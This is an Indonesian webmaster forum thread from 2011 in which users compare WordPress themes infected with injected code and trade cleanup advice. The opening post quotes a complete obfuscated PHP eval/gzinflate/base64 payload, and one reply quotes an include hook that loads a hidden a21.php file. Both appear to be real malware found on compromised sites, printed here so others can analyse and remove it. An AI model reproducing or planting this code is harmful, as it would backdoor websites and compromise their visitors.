1. Halo Guest, pastikan Anda selalu menaati peraturan forum sebelum mengirimkan post atau thread baru.

[Please Help Me..!] Theme blog satu hosting kena inject kode anehh..

Discussion in 'Wordpress' started by heri83, Jul 12, 2011.

  1. heri83

    heri83 Super Hero

    Joined:
    Jul 31, 2008
    Messages:
    2,328
    Likes Received:
    88
    Location:
    jogja-magelang
    Dear all,...

    Mohon bantuannya mastah2, sejak tadi pagi jam 3 ane cek theme blog ane,

    pada pagian header.php, index.php, sidebar.php, pokoknya semua bagian kecuali bagian style.css , kena inject kode2 sbb:
    Code:
    <?php /*e1759ac901faed1af84151785ae7b57d*/ eval(gzinflate(base64_decode('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')));?>
    kode2 tersebut terletak pada bagian baris paling atas.
    dan yg paling mengenaskan, ini terjadi pada semua theme dan semua blog ane yg ada dalam satu hosting,.. kira2 knp ya?? :nangis: :nangis:
     
    heri83, Jul 12, 2011
    #1
  2. elmarzuqi

    elmarzuqi Nubie_Abadi

    Joined:
    Oct 12, 2010
    Messages:
    1,632
    Likes Received:
    485
    Location:
    Sidoarjo - Suroboyo
    waduh, ane gak bisa bantu nich GAn. ane gak paham coding di WP.. sorry banget gan gak bisa bantu. moga aja yang dibawah ane ada yang kasih solusi tepat.. dan moga aja cepat kelar masalahnya :senyum:
     
    elmarzuqi, Jul 12, 2011
    #2
  3. denaya

    denaya Super Hero

    Joined:
    Aug 13, 2010
    Messages:
    1,381
    Likes Received:
    172
    PHP:
    /*indzrsvgdmezjhkrbnnbxxerocbetagydfvvidlzlrrjoikmvg*/ 
    if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/hsphere/local/home/c314534/districtlimerick.com/wp-includes/js/tinymce/themes/advanced/skins/default/img/a21.php';
    if(    file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);
    if(    function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}
    Inject a21.php
     
    denaya, Jul 12, 2011
    #3
  4. rheyx

    rheyx Super Hero

    Joined:
    Dec 8, 2010
    Messages:
    842
    Likes Received:
    122
    Location:
    ./run
    Tuh kode di encryp gan.. Coba cari di google descriptornya.. Oya itu base 64 kalo ga salah.. Dah lama ga ktmu kode2 bgtu :D
     
    rheyx, Jul 12, 2011
    #4
  5. denaya

    denaya Super Hero

    Joined:
    Aug 13, 2010
    Messages:
    1,381
    Likes Received:
    172
    coba aja cari di google XSS + SQL Injection.

    buat antisipasi pasang plugins :
    - Block Bad Queries
    - Wp-Firewall
    dan sebagai nya
     
    denaya, Jul 12, 2011
    #5
  6. anisku11

    anisku11 Super Hero

    Joined:
    Jun 28, 2011
    Messages:
    1,627
    Likes Received:
    179
    Location:
    Semarang
    ,,wahh dihapus gan tuh file2nya
    Decode Base64 tuh
    ,kalo pngen aman
    update wp 3.2 trus pasang aj wp firewall
    :senyum:
    dah aman dh tu
     
    anisku11, Jul 12, 2011
    #6
  7. hernawanjr

    hernawanjr Super Hero

    Joined:
    May 31, 2010
    Messages:
    857
    Likes Received:
    32
    Location:
    di hatimu
    cb file di /wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img yg php d hapus smua,,
    trus di reinstal wp nya,, skalian themes yg dgunain d instal lg, trus plugin jg instal ulang

    nih kyanya wp 3.2 ada lubang ni, ane jg baru kna,, cb slidik2 ke forum heker ahhh clinkkkkkkk:ninja:

    ---------- Post added at 09:15 PM ---------- Previous post was at 09:04 PM ----------

    dpt kabar,
    exploit-db.com/exploits/17514/
    phpMyAdmin 3.x diketahui lubangnyaaaaaaaaa apa ini pnyebabnya? ane jg kena
     
    hernawanjr, Jul 12, 2011
    #7
    heri83 likes this.
  8. heri83

    heri83 Super Hero

    Joined:
    Jul 31, 2008
    Messages:
    2,328
    Likes Received:
    88
    Location:
    jogja-magelang
    lha ini kena nya setelah update ke versi 3.2 :hmm: :hmm:
     
    heri83, Jul 12, 2011
    #8
  9. faqih

    faqih Newbie

    Joined:
    Jun 2, 2006
    Messages:
    29
    Likes Received:
    0
    nasib kit sama gan, ane kasusnya kemaren juga. syukurlah cuma 1 blog.
     
    faqih, Jul 13, 2011
    #9
  10. adepane

    adepane Hero

    Joined:
    Mar 7, 2011
    Messages:
    653
    Likes Received:
    43
    Location:
    Pinggiran Trotoar
    wadohhh....3.2 udah ada lobang. terpaksa ngepatch ini
     
    adepane, Jul 13, 2011
    #10
  11. retyohet

    retyohet Ads.id Pro

    Joined:
    Feb 28, 2010
    Messages:
    292
    Likes Received:
    12
    Location:
    irc.byroe.net
    coba cek di http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=wordpress&filter_exploit_text=wordpress&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=

    Mungkin ada plugin agan yang vulnerable, yang lagi rame is-human sama tiny_mce mending di lepas aja kalo gak paham patch bug nya :)
     
    retyohet, Jul 13, 2011
    #11
  12. Yahoo!

    Yahoo! Super Hero

    Joined:
    Jul 7, 2011
    Messages:
    835
    Likes Received:
    32
    wah,,numpang nyimak yaa,,:D
     
    Yahoo!, Jul 13, 2011
    #12
  13. 340web

    340web Super Hero

    Joined:
    Aug 15, 2009
    Messages:
    1,966
    Likes Received:
    54
    sama dgn ane mas
    setelah ane cek itu yg kena inject mulai dari file di folder wp-content
    tau nic gmn cara ngilainnya
     
    340web, Jul 13, 2011
    #13
  14. zaka2112

    zaka2112 Hero

    Joined:
    Dec 17, 2009
    Messages:
    525
    Likes Received:
    25
    WP terbaru kok udah rentan ya.. perasaan dalam sebulan udah beberapa kali update nih WP
     
    zaka2112, Jul 14, 2011
    #14
  15. ibnuroem

    ibnuroem Super Hero

    Joined:
    Dec 13, 2009
    Messages:
    4,116
    Likes Received:
    361
    dulu pernah kena..setelah googling, hackernya nyuri data2 yg ada di ftp client yg gk pakai ftps..jadi hampr semua blog ane yg datanya ada di 1 ftp kena semua
    solusinya, ya scan aja semua file di hosting itu dan minta pihak hosting buatin directory baru. dan jangan pernah save data2 login di ftp..ckp copas aja tiap kali mau pake

    cb scan blog2 tmn2 disini unmaskparasites.com
     
    ibnuroem, Jul 14, 2011
    #15
    heri83 likes this.
  16. ilham33

    ilham33 Trusted Web Hosting

    Joined:
    Feb 16, 2010
    Messages:
    2,785
    Likes Received:
    227
    Location:
    The North |
    ternyata masih banyak bugs..pantes kemarin ada update wp 3.2.1
     
    ilham33, Jul 14, 2011
    #16
  17. linkedin

    linkedin Ads.id Fan

    Joined:
    Sep 23, 2010
    Messages:
    166
    Likes Received:
    1
    gue jg kena bro 3 blog dalam 1 hosting themesnya kena hack model gini padahal dah update ke wp 3.2.1 ga ngaruh juga
    terpaksa bersihin satu - satu pertama hapus semua file yang bukan extensinya image di /wp-includes/js/tinymce/themes/advanced/skins/default/img/ karena pas ane download yang masih fresh folder itu isinya cuman image doang. abis itu buka files themes satu persatu (kecuali files css)hapus deh semua file yang diencode yang ada diatas <?php the header [-(
     
    linkedin, Jul 17, 2011
    #17
  18. 340web

    340web Super Hero

    Joined:
    Aug 15, 2009
    Messages:
    1,966
    Likes Received:
    54
    coba cek lagi
    yg kena inject code bukan cuman file2 d theme tapi juga semua file2 yg ada di plugin
    dan yg parah file index juga kena inject
    solusinyanya ya instal ulang semua bro! :(
     
    340web, Jul 17, 2011
    #18
  19. cahpinter

    cahpinter Ads.id Starter

    Joined:
    Jun 20, 2010
    Messages:
    93
    Likes Received:
    8
    ikut menyimak dulu..
     
    cahpinter, Jul 17, 2011
    #19

Share This Page